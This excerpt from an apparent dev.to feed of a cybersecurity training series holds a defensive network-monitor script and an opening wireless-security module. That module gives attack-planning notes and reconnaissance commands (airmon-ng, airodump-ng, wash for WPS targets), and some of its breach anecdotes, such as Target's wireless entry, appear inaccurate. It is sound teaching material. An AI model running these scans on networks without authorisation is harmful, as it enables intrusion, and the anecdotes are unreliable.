diff /tmp/baseline_arp.txt &amp;lt;&lt;span class="o"&gt;(&lt;/span&gt;ip neigh show&lt;span class="o"&gt;)&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"^&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"No new ARP entries"&lt;/span&gt;

&lt;span class="c"&gt;# Step 4: Cleanup&lt;/span&gt;
&lt;span class="nb"&gt;kill&lt;/span&gt; &lt;span class="nv"&gt;$NC_PID&lt;/span&gt; 2&amp;gt;/dev/null
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Investigation complete. Backdoor cleaned up. ==="&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 4: Build a Network Monitor Script (30 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/network_monitor.sh &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;SCRIPT&lt;/span&gt;&lt;span class="sh"&gt;'
#!/bin/bash
# Network security monitor — baseline and alert on changes

BASELINE_DIR="/tmp/net_baseline"
ALERT_LOG="/tmp/net_alerts.log"
mkdir -p "&lt;/span&gt;&lt;span class="nv"&gt;$BASELINE_DIR&lt;/span&gt;&lt;span class="sh"&gt;"

create_baseline() {
    echo "Creating baseline..."
    ss -tlnp | awk 'NR&amp;gt;1 {print &lt;/span&gt;&lt;span class="nv"&gt;$4&lt;/span&gt;&lt;span class="sh"&gt;, &lt;/span&gt;&lt;span class="nv"&gt;$6&lt;/span&gt;&lt;span class="sh"&gt;}' | sort &amp;gt; "&lt;/span&gt;&lt;span class="nv"&gt;$BASELINE_DIR&lt;/span&gt;&lt;span class="sh"&gt;/listeners.txt"
    ip neigh show | awk '{print &lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="sh"&gt;, &lt;/span&gt;&lt;span class="nv"&gt;$5&lt;/span&gt;&lt;span class="sh"&gt;}' | sort &amp;gt; "&lt;/span&gt;&lt;span class="nv"&gt;$BASELINE_DIR&lt;/span&gt;&lt;span class="sh"&gt;/arp.txt"
    ip route show &amp;gt; "&lt;/span&gt;&lt;span class="nv"&gt;$BASELINE_DIR&lt;/span&gt;&lt;span class="sh"&gt;/routes.txt"
    echo "Baseline created at &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;"
}

check_changes() {
    local timestamp=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; &lt;span class="s1"&gt;'+%Y-%m-%d %H:%M:%S'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;

    # Check for new listeners
    CURRENT_LISTENERS=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;ss &lt;span class="nt"&gt;-tlnp&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'NR&amp;gt;1 {print $4, $6}'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;
    NEW_LISTENERS=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;comm&lt;/span&gt; &lt;span class="nt"&gt;-13&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$BASELINE_DIR&lt;/span&gt;&lt;span class="s2"&gt;/listeners.txt"&lt;/span&gt; &amp;lt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$CURRENT_LISTENERS&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;
    if [ -n "&lt;/span&gt;&lt;span class="nv"&gt;$NEW_LISTENERS&lt;/span&gt;&lt;span class="sh"&gt;" ]; then
        echo "[&lt;/span&gt;&lt;span class="nv"&gt;$timestamp&lt;/span&gt;&lt;span class="sh"&gt;] NEW LISTENER DETECTED:" | tee -a "&lt;/span&gt;&lt;span class="nv"&gt;$ALERT_LOG&lt;/span&gt;&lt;span class="sh"&gt;"
        echo "&lt;/span&gt;&lt;span class="nv"&gt;$NEW_LISTENERS&lt;/span&gt;&lt;span class="sh"&gt;" | tee -a "&lt;/span&gt;&lt;span class="nv"&gt;$ALERT_LOG&lt;/span&gt;&lt;span class="sh"&gt;"
    fi

    # Check for new ARP entries
    CURRENT_ARP=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;ip neigh show | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $1, $5}'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;
    NEW_ARP=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;comm&lt;/span&gt; &lt;span class="nt"&gt;-13&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$BASELINE_DIR&lt;/span&gt;&lt;span class="s2"&gt;/arp.txt"&lt;/span&gt; &amp;lt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$CURRENT_ARP&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;
    if [ -n "&lt;/span&gt;&lt;span class="nv"&gt;$NEW_ARP&lt;/span&gt;&lt;span class="sh"&gt;" ]; then
        echo "[&lt;/span&gt;&lt;span class="nv"&gt;$timestamp&lt;/span&gt;&lt;span class="sh"&gt;] NEW HOST DETECTED (ARP):" | tee -a "&lt;/span&gt;&lt;span class="nv"&gt;$ALERT_LOG&lt;/span&gt;&lt;span class="sh"&gt;"
        echo "&lt;/span&gt;&lt;span class="nv"&gt;$NEW_ARP&lt;/span&gt;&lt;span class="sh"&gt;" | tee -a "&lt;/span&gt;&lt;span class="nv"&gt;$ALERT_LOG&lt;/span&gt;&lt;span class="sh"&gt;"
    fi

    # Check for route changes
    CURRENT_ROUTES=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;ip route show&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;
    if ! diff "&lt;/span&gt;&lt;span class="nv"&gt;$BASELINE_DIR&lt;/span&gt;&lt;span class="sh"&gt;/routes.txt" &amp;lt;(echo "&lt;/span&gt;&lt;span class="nv"&gt;$CURRENT_ROUTES&lt;/span&gt;&lt;span class="sh"&gt;") &amp;gt; /dev/null 2&amp;gt;&amp;amp;1; then
        echo "[&lt;/span&gt;&lt;span class="nv"&gt;$timestamp&lt;/span&gt;&lt;span class="sh"&gt;] ROUTING TABLE CHANGED!" | tee -a "&lt;/span&gt;&lt;span class="nv"&gt;$ALERT_LOG&lt;/span&gt;&lt;span class="sh"&gt;"
        diff "&lt;/span&gt;&lt;span class="nv"&gt;$BASELINE_DIR&lt;/span&gt;&lt;span class="sh"&gt;/routes.txt" &amp;lt;(echo "&lt;/span&gt;&lt;span class="nv"&gt;$CURRENT_ROUTES&lt;/span&gt;&lt;span class="sh"&gt;") | tee -a "&lt;/span&gt;&lt;span class="nv"&gt;$ALERT_LOG&lt;/span&gt;&lt;span class="sh"&gt;"
    fi
}

case "&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;1&lt;/span&gt;&lt;span class="k"&gt;:-&lt;/span&gt;&lt;span class="nv"&gt;check&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;" in
    baseline) create_baseline ;;
    check)    check_changes ;;
    monitor)
        create_baseline
        echo "Monitoring for changes... (Ctrl+C to stop)"
        while true; do
            check_changes
            sleep 30
        done
        ;;
    *)
        echo "Usage: &lt;/span&gt;&lt;span class="nv"&gt;$0&lt;/span&gt;&lt;span class="sh"&gt; [baseline|check|monitor]"
        ;;
esac
&lt;/span&gt;&lt;span class="no"&gt;SCRIPT

&lt;/span&gt;&lt;span class="nb"&gt;chmod&lt;/span&gt; +x /tmp/network_monitor.sh
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Usage:"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"  bash /tmp/network_monitor.sh baseline  # Create baseline"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"  bash /tmp/network_monitor.sh check     # Check for changes"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"  bash /tmp/network_monitor.sh monitor   # Continuous monitoring"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  13. Module Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;Primary Function&lt;/th&gt;
&lt;th&gt;Key Security Use&lt;/th&gt;
&lt;th&gt;OT/ICS Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wireshark&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;GUI packet capture and analysis&lt;/td&gt;
&lt;td&gt;Full protocol dissection, credential capture in cleartext protocols, follow TCP stream for session reconstruction&lt;/td&gt;
&lt;td&gt;Safe (passive via SPAN/TAP); Modbus/DNP3/IEC 61850 dissectors built-in&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;tshark&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CLI Wireshark&lt;/td&gt;
&lt;td&gt;Scripted analysis, remote capture via SSH, automated field extraction&lt;/td&gt;
&lt;td&gt;Same as Wireshark — passive, no impact&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;tcpdump&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CLI packet capture&lt;/td&gt;
&lt;td&gt;Evidence collection, real-time monitoring, piping to analysis tools&lt;/td&gt;
&lt;td&gt;Available on embedded Linux OT systems; safest active tool&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;netstat&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Connection state viewer&lt;/td&gt;
&lt;td&gt;Backdoor detection (unexpected listeners), active connection analysis, process-to-port mapping&lt;/td&gt;
&lt;td&gt;Run on HMI/SCADA servers for connection audit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ss&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Modern netstat replacement&lt;/td&gt;
&lt;td&gt;Same as netstat, faster, richer filtering&lt;/td&gt;
&lt;td&gt;Preferred on modern Linux OT systems&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Nmap (host discovery)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Identify live hosts&lt;/td&gt;
&lt;td&gt;Network mapping, asset discovery, scope definition&lt;/td&gt;
&lt;td&gt;Use -sn with ICMP only; get approval; schedule maintenance window&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Nmap (port scan)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Identify open services&lt;/td&gt;
&lt;td&gt;Attack surface enumeration, service version detection&lt;/td&gt;
&lt;td&gt;HIGH risk in OT; PLC/RTU may crash; written approval mandatory&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Nmap NSE&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Automated vulnerability/info scripts&lt;/td&gt;
&lt;td&gt;Vuln checking (EternalBlue, Heartbleed), OT protocol fingerprinting&lt;/td&gt;
&lt;td&gt;OT-specific scripts (modbus-discover, s7-info) useful but still invasive&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Traceroute&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Path discovery&lt;/td&gt;
&lt;td&gt;Network topology mapping, firewall location, BGP anomaly detection&lt;/td&gt;
&lt;td&gt;Moderate risk in OT; some RTUs respond unexpectedly to TTL-limited packets&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Ping&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Reachability and RTT&lt;/td&gt;
&lt;td&gt;Host discovery, latency baseline, OS fingerprinting (TTL), covert channel detection&lt;/td&gt;
&lt;td&gt;Low risk but get approval; some legacy field devices unstable with unexpected ICMP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ipconfig&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Windows interface config&lt;/td&gt;
&lt;td&gt;MITM detection (wrong gateway/DNS), VPN adapter detection, forensic timestamps&lt;/td&gt;
&lt;td&gt;Run on Windows HMI/engineering workstations for configuration audit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ifconfig/ip&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Linux interface config&lt;/td&gt;
&lt;td&gt;Interface configuration, promiscuous mode detection, route analysis&lt;/td&gt;
&lt;td&gt;Run on Linux-based HMI/SCADA servers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;dig/nslookup&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;DNS interrogation&lt;/td&gt;
&lt;td&gt;DNS security checks (SPF/DMARC/DKIM), zone transfer, subdomain enumeration&lt;/td&gt;
&lt;td&gt;Useful for verifying DNS configuration of OT-connected systems&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;arp&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ARP table management&lt;/td&gt;
&lt;td&gt;MITM detection (gateway MAC change), rogue host detection&lt;/td&gt;
&lt;td&gt;Critical in OT: unexpected ARP entries = potential rogue device&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Next Stage:&lt;/strong&gt; &lt;a href="//../STAGE-02_CyberSecurity-Fundamentals/README.md"&gt;Stage 2 — Cybersecurity Core&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Previous Module:&lt;/strong&gt; &lt;a href="//./stage-1.7-wireless-networks.md"&gt;Stage 1.7 — Wireless Networks&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Stage Index:&lt;/strong&gt; &lt;a href="//./README.md"&gt;Stage 1 README&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Series Index:&lt;/strong&gt; &lt;a href="//../../README.md"&gt;Full Roadmap&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;em&gt;This document is part of the Cybersecurity × OT/ICS Security Full Roadmap series. All techniques are presented for educational purposes, authorised security research, and defensive security practice. Always obtain proper authorisation before testing any system.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>bytewallacademy</category>
      <category>network</category>
      <category>linux</category>
    </item>
    <item>
      <title>Stage 1.7 — Wireless Networks</title>
      <dc:creator>Rençber AKMAN</dc:creator>
      <pubDate>Mon, 08 Jun 2026 18:09:53 +0000</pubDate>
      <link>https://dev.to/rencberakman/stage-17-wireless-networks-f92</link>
      <guid>https://dev.to/rencberakman/stage-17-wireless-networks-f92</guid>
      <description>&lt;h3&gt;
  
  
  From Zero to Cybersecurity Professional | Complete Roadmap Series
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Series:&lt;/strong&gt; Cybersecurity × OT/ICS Security — Full Roadmap&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Stage:&lt;/strong&gt; 1 — Network Fundamentals&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Module:&lt;/strong&gt; 1.7 — Wireless Networks&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Level:&lt;/strong&gt; Beginner → Advanced&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Prerequisites:&lt;/strong&gt; Stage 1.6 — Network Devices&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Next Module:&lt;/strong&gt; 1.8 — Network Analysis Tools&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Why Wireless Security Is a Permanent Battlefield&lt;/li&gt;
&lt;li&gt;Wi-Fi Standards — 802.11 Family&lt;/li&gt;
&lt;li&gt;Radio Frequency Fundamentals — 2.4 GHz vs 5 GHz vs 6 GHz&lt;/li&gt;
&lt;li&gt;SSID and BSSID — Wireless Identity&lt;/li&gt;
&lt;li&gt;Wireless Security Protocols — WEP to WPA3&lt;/li&gt;
&lt;li&gt;WPA2 — The Dominant Standard and Its Weaknesses&lt;/li&gt;
&lt;li&gt;WPA3 — The Modern Standard&lt;/li&gt;
&lt;li&gt;Rogue Access Point&lt;/li&gt;
&lt;li&gt;Evil Twin Attack&lt;/li&gt;
&lt;li&gt;Additional Critical Wireless Attacks&lt;/li&gt;
&lt;li&gt;Wireless Forensics and Detection&lt;/li&gt;
&lt;li&gt;Wireless in OT/ICS Environments&lt;/li&gt;
&lt;li&gt;Hands-On Exercises&lt;/li&gt;
&lt;li&gt;Module Summary&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. Why Wireless Security Is a Permanent Battlefield
&lt;/h2&gt;

&lt;p&gt;Wireless networks are different from wired networks in one fundamental way: the medium is shared and accessible to anyone within range. An attacker does not need physical access to your building, does not need to plug into a network port, and does not leave physical evidence of their presence. They can sit in a car 200 metres away and conduct a full attack.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Concrete attacks and consequences:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Target Corporation Breach (2013):&lt;/strong&gt; The initial access vector that ultimately compromised 40 million credit card numbers began with credentials stolen from a third-party HVAC vendor. That vendor had wireless access to Target's network for remote monitoring. Weak wireless network segmentation allowed movement from the vendor's access to payment systems. Wireless access granted to a third party became the entry point for the largest retail breach of its era.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Marriott/Starwood Breach (2014-2018):&lt;/strong&gt; Hackers maintained access to Starwood's network for four years before discovery. Investigation revealed that some of the lateral movement exploited wireless network segments that were inadequately monitored. 500 million guest records compromised.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Carbanak APT Campaign (2013-2015):&lt;/strong&gt; The criminal group responsible for stealing $1 billion from banks used spear phishing for initial access, but wireless networks within bank branches were used for lateral movement once inside the building. Physical proximity attackers (inside the building or nearby) used wireless to maintain persistent access.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Industrial Wireless Attacks:&lt;/strong&gt; In documented OT security assessments, wireless networks in industrial facilities have been found:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Using WEP encryption (breakable in minutes)&lt;/li&gt;
&lt;li&gt;Using WPA2 with default passwords (breakable in hours)&lt;/li&gt;
&lt;li&gt;Running unencrypted wireless sensor networks&lt;/li&gt;
&lt;li&gt;Connecting directly to the control network without isolation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;For your OT/ICS path:&lt;/strong&gt; Industrial wireless is growing rapidly — wireless sensors, wireless field device configuration tools, WiFi-enabled PLCs, wireless HMI tablets, and industrial IoT are all becoming standard. Each represents a wireless attack surface on systems that control physical processes. An attacker who compromises wireless in a manufacturing facility may be one hop from PLCs controlling heavy machinery.&lt;/p&gt;

&lt;p&gt;The security mindset for this module: &lt;strong&gt;Wireless is a shared medium. There is no such thing as "private" wireless — only wireless where the content is protected by cryptography. Every wireless transmission is received by every device in range. The question is only whether they can decode it.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Wi-Fi Standards — 802.11 Family
&lt;/h2&gt;

&lt;h3&gt;
  
  
  2.1 IEEE 802.11 — The Standard Family
&lt;/h3&gt;

&lt;p&gt;Wi-Fi is the commercial name for IEEE 802.11 — a set of standards developed by the IEEE (Institute of Electrical and Electronics Engineers) for wireless local area networks. Each amendment to the base standard adds new capabilities, higher speeds, or new frequency bands.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;802.11 Standard Timeline and Security Relevance:

Year  Standard  Wi-Fi Name  Frequency    Max Speed    Security Notes
────────────────────────────────────────────────────────────────────────────
1997  802.11    (original)  2.4 GHz      2 Mbps       WEP only — broken
1999  802.11a   (none)      5 GHz        54 Mbps      WEP — broken
1999  802.11b   (none)      2.4 GHz      11 Mbps      WEP — broken
2003  802.11g   (none)      2.4 GHz      54 Mbps      WEP/WPA — WEP broken
2009  802.11n   Wi-Fi 4     2.4/5 GHz    600 Mbps     WPA2 — current minimum
2013  802.11ac  Wi-Fi 5     5 GHz        3.5 Gbps     WPA2/WPA3
2019  802.11ax  Wi-Fi 6     2.4/5/6 GHz  9.6 Gbps     WPA3 (Wi-Fi 6 requires)
2021  802.11ax  Wi-Fi 6E    6 GHz only   9.6 Gbps     WPA3 required
2024  802.11be  Wi-Fi 7     2.4/5/6 GHz  46 Gbps      WPA3 required
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.2 Key Technical Concepts Per Standard
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;MIMO — Multiple Input, Multiple Output (802.11n and later):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Single antenna (802.11g):          MIMO (802.11n, 4×4):
  [Transmitter] → [single stream] →   [TX1] → [stream 1] → [RX1]
  [Receiver]                           [TX2] → [stream 2] → [RX2]
                                        [TX3] → [stream 3] → [RX3]
                                        [TX4] → [stream 4] → [RX4]

More antennas = more spatial streams = higher throughput
802.11ac: up to 8 spatial streams (MU-MIMO — multiple simultaneous users)
802.11ax: OFDMA (Orthogonal Frequency Division Multiple Access)
          Multiple users simultaneously in same channel — more efficient

Security implication: MIMO and MU-MIMO complicate wireless analysis.
Specialised wireless adapters are needed to capture all spatial streams.
Consumer adapters typically capture only one stream in monitor mode.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Channel Bonding:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Standard channel width: 20 MHz
Bonded channels: 40 MHz (2 channels), 80 MHz (4 channels), 160 MHz (8 channels)

More bandwidth = faster throughput BUT:
  - Fewer non-overlapping channels available
  - Wider channels = more susceptible to interference
  - 80/160 MHz on 5 GHz: fewer total channels available

For attackers: wider channel = attack tool must monitor wider spectrum
For defenders: wider channels may interfere with wireless monitoring sensors
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;802.11ax (Wi-Fi 6) — Security Mandates:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Wi-Fi 6 certification requires WPA3 — the first Wi-Fi generation to mandate its security protocol. This is significant because:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Devices certified for Wi-Fi 6 cannot use WPA2 alone&lt;/li&gt;
&lt;li&gt;WPA3 eliminates the PMKID offline attack that compromised WPA2&lt;/li&gt;
&lt;li&gt;WPA3 provides forward secrecy (old traffic cannot be decrypted even if password is later compromised)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;However: Wi-Fi 6 capable hardware CAN still run in WPA2 mode for backward compatibility. "Wi-Fi 6 certified" ≠ "WPA3 only."&lt;/p&gt;

&lt;h3&gt;
  
  
  2.3 Security Implications by Standard
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;For penetration testing scope:
  Find 802.11b/g → WEP likely possible → trivially breakable
  Find 802.11n with WPA2 → PMKID or 4-way handshake capture → offline crack
  Find 802.11ac with WPA2 → same as above
  Find 802.11ax with WPA3 → significantly harder → SAE dragonfly handshake
  Find 802.11ax with WPA2 (downgrade) → can attack WPA2 portion

For network assessment:
  Identify all standards in use in the environment
  Any b/g networks with WEP: immediate critical finding
  Any n/ac networks with WPA2-Personal: assess password strength
  Any networks using WPA3: verify WPA2 transition mode is not exploited
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Identify Wi-Fi standards and security in use:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;iwlist wlan0 scan | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"ESSID|Frequency|Encryption|IE:|WPA"&lt;/span&gt;

&lt;span class="c"&gt;# With iw:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;iw dev wlan0 scan | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"SSID:|freq:|RSN:|WPA:"&lt;/span&gt;

&lt;span class="c"&gt;# Airodump-ng — comprehensive wireless survey:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airmon-ng start wlan0          &lt;span class="c"&gt;# Enable monitor mode&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng wlan0mon           &lt;span class="c"&gt;# Survey all networks&lt;/span&gt;

&lt;span class="c"&gt;# Key columns in airodump-ng output:&lt;/span&gt;
&lt;span class="c"&gt;# BSSID:    AP MAC address&lt;/span&gt;
&lt;span class="c"&gt;# PWR:      Signal strength (higher negative = closer)&lt;/span&gt;
&lt;span class="c"&gt;# Beacons:  Number of beacon frames received&lt;/span&gt;
&lt;span class="c"&gt;# Data:     Data frames captured&lt;/span&gt;
&lt;span class="c"&gt;# CH:       Channel&lt;/span&gt;
&lt;span class="c"&gt;# MB:       Max speed (11=802.11b, 54=802.11g, indicates standard)&lt;/span&gt;
&lt;span class="c"&gt;# ENC:      Encryption type (WEP, WPA, WPA2, WPA3)&lt;/span&gt;
&lt;span class="c"&gt;# CIPHER:   Cipher used (CCMP=AES, TKIP=RC4)&lt;/span&gt;
&lt;span class="c"&gt;# AUTH:     Authentication (PSK=pre-shared key, MGT=enterprise/RADIUS)&lt;/span&gt;
&lt;span class="c"&gt;# ESSID:    Network name&lt;/span&gt;

&lt;span class="c"&gt;# Wash — scan for WPS-enabled networks:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;wash &lt;span class="nt"&gt;-i&lt;/span&gt; wlan0mon
&lt;span class="c"&gt;# WPS (Wi-Fi Protected Setup) has its own vulnerabilities (Pixie Dust, brute force)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; The 802.11 standard version tells you the likely attack surface before you even test the password. 802.11b/g typically means WEP or early WPA — trivially broken. 802.11n/ac means WPA2 — crackable with good wordlists. 802.11ax in WPA3 mode — significantly hardened. Reading the standard version from a scan is the first step in attack planning and in security assessment.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  3. Radio Frequency Fundamentals — 2.4 GHz vs 5 GHz vs 6 GHz
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1 Why Frequency Matters for Security
&lt;/h3&gt;

&lt;p&gt;Radio frequency determines range, penetration, interference, and the number of available channels. All of these affect both attack capability and defence posture.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Frequency Comparison:

Property              2.4 GHz           5 GHz             6 GHz
────────────────────────────────────────────────────────────────────────────
Range (typical)        ~70m indoor       ~30m indoor       ~15m indoor
                       ~250m outdoor     ~100m outdoor     ~50m outdoor
Wall penetration        High              Medium            Low
Interference            High              Lower             Very low
